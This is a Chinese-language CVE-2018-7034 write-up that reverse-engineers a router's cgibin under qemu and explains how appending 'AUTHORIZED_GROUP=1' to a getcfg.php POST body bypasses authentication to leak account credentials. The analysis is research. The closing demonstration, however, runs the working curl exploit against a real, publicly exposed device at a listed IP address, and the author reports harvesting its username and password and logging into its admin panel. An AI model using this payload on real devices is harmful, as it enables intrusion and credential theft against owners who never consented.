该漏洞的起因是身份验证是否成功的标识(AUTHORIZED_GROUP)会被添加到 POST 报文数据的后面,而攻击者可以通过将AUTHORIZED_GROUP=1 作为 POST 报文数据的一部分来发送,当读取报文的时候只有报文中的第一个 = 被识别到继而将后面的AUTHORIZED_GROUP=1 一起读入并写入来绕过身份验证,造成登录信息的泄露。
漏洞描述
根据 [CVE-2018-7034](CVE - CVE-2018-7034漏洞) 上对该漏洞的披露可知,由getcfg.php中的请求所示,攻击者可以通过AUTHORIZED_GROUP=1值来绕过身份验证。

漏洞前提分析
so,我们先来分析一下getcfg.php文件:
//$_POST["CACHE"]=false |
分析后可知,该文件最终要执行的操作是,加载/htdocs/webinc/getcfg/目录下以.xml.php结尾的文件,当然前提是要绕过一系列条件。经查找后发现目录下的DEVICE.ACCOUNT.xml.php文件中有用户密码等敏感信息,可以被我们泄露。
程序启动
直接运行/htdocs/cgibin文件会输出如下内容:
看一下cgibin文件中的main函数,发现其要求第一个命令行参数是给定的参数这里就是phpcgi,搜索一下发现在/usr/sbin/目录下有一个符号链接phpcgi指向/htdocs/cgibin,不过这个符号链接被损坏了要删除这个再创建一个,如下是新建的符号链接。

然后执行qemu-mipsel ./phpcgi命令便能运行cgibin程序了。
寻找漏洞原因
现在需要对二进制文件cgibin进行逆向分析,主要分析的是main函数下的phpcgi_main函数。
phpcgi_main函数分析
sobj_new()函数如下:
//v7 = sobj_new(); |
结合分析可知,0x414264地址处中$v0寄存器中存放的便是malloc函数申请的地址块,也就是v7中的内容,是0x438008
接下来会执行sobj_add_string(v7, *(_DWORD *)(a2 + 4));函数,这里a2是传入的命令行参数,我们猜测这里是将命令行参数添加到v7的地址块中,如下,
sobj_add_string()执行前
执行后,确实把第一个命令行参数aaaa添加进去了
接着执行sobj_add_char(),这一步会在aaaa后面再加一个\n
接下来是一个for循环:
for ( i = a3; *i; ++i ) // a3是环境变量,这个循环应该是将环境变量分别也添加到上面的地址块中 |
其作用是解析envp,并将解析后的环境变量都添加到地址块中,也就是第二个命令行参数aaaa的后面。
cgibin_parse_request函数分析
接着看cgibin_parse_request函数,调试这个函数的时候发现CONTENT_TYPE和CONTENT_LENGTH这两个环境变量需要存在,接着执行parse_uri函数,该函数会将环境变量REQUEST_URI中?后面的内容添加到结构体中,故REQUEST_URI这个环境变量也需要存在。
然后是一个strncasecmp比较,会比较v9与v14前12个字符是否相等,如果相等会执行一个函数,这里我光看ida中的代码还不知道是什么函数。
v10是.data段off_433014处的内容application/如下,而v14是环境变量CONTENT_TYPE的值,因此我们启动时的环境变量CONTENT_TYPE需要设置为application/x-www-form-urlencoded。
在gdb调试的时候,可以知道执行的函数地址是0x40445c,其实看其他师傅文章中ida能够反汇编出这个函数即sub_40445C,但是我只能看到该函数的汇编代码😓
此时的启动脚本:
qemu-mipsel -E REQUEST_METHOD="POST" -E CONTENT_TYPE="application/x-www-form-urlencoded" -E CONTENT_LENGTH=3000 -E REQUEST_URI="M?31" -g 1234 ./phpcgi aaaa |
sub_40445c函数分析
在该函数中,会先后执行一个select和read函数,我们在执行select函数前先把POST报文写到标准输入流中,如下:
执行select后便能read读入POST报文数据,如下:
注意启动时设置的CONTENT_LENGTH要跟写入的POST报文数据长度一样,否则读完我们输入的内容后会再次select和read,此时标准输入流中已经没有数据了,便会像前面一样报错。
此时的启动脚本:
qemu-mipsel -E REQUEST_METHOD="POST" -E CONTENT_TYPE="application/x-www-form-urlencoded" -E CONTENT_LENGTH="44" -E REQUEST_URI="M?31" -g 1234 ./phpcgi aaaa |
接着会执行sub_403864函数(其实可以直接在IDA中分析代码得出,不过我的IDA并没有把sub_40445c函数反汇编)
sub_403864函数分析
sub_403864函数的三个参数如下,正常会顺利进入下面两个if语句,然后进入循环,
这个循环会遍历POST报文数据,并以报文的第一个=为界限,将前后两段数据(也就是a1[1]和a1[2])分别放到两个结构体中,如下:
最后这里要注意的是,调试的时候发现在第32行这个位置会再一次调用sub_403864函数,如下:
在第二次执行sub_403864函数的时候才会执行sobj_unescape_uri函数,对POST报文数据进行url解码,接着执行后面的写入操作。
sub_405AC0函数分析
gdb调试的时候继续往下走,会走到0x405b00地址,在sub_405AC0函数中,在如下这个位置:
接下来会先向a1(最开始存放环境变量的结构体)中添加字符串_POST_,然后再将a2[1](POST报文数据中=前面的内容)添加进去,接着还会添加=和POST报文数据中=后面的内容。其实就是将POST报文数据全部添加进去了,如下:

其实分析到现在,我们知道了发送的POST报文数据会被存储到哪个地方,正常情况下POST报文数据中只需要有SERVICES=DEVICE.ACCOUNT即可,但是为什么还要在后面加上%0aAUTHORIZED_GROUP=1,并且这样就可以绕过身份验证呢?我们还不知道,继续往下分析。
phpcgi_main函数分析
接着程序流回到phpcgi_main函数上,会进入if执行sess_validate()函数,其中会打开一个文件如下:
这个文件我们用户模拟的环境上是没有的,所以需要自己去创建一下即可。
接下来的部分就比较重要了前面我一直迷迷糊糊的,在这里幡然醒悟一切都解释的通了。
如下,执行完sobj_add_char(v6, 10);后AUTHORIZED_GROUP=-1会被添加到v6(前面分析的存放POST报文数据的结构体)中,也就是说正常情况下,会读入POST报文数据写到v6中,然后执行sess_validate()函数进行一个身份验证,当然验证肯定是不通过的,因此会返回-1与AUTHORIZED_GROUP=拼接,再将得到的AUTHORIZED_GROUP=-1添加到v6中具体位置就是POST报文的后面。
因此,直接将AUTHORIZED_GROUP=1放在原来的POST报文数据的后面,这样便能绕过身份验证伪造sess_validate()返回1,所以最后的POST报文数据是这样的:
SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1 |
攻击演示
在这个网站上查找还在用此路由器设备的站点
随便选一个,执行如下poc进行攻击
curl -d "SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1" "http://174.104.16.176:8080/getcfg.php" |
获得用户名和密码
成功登录后台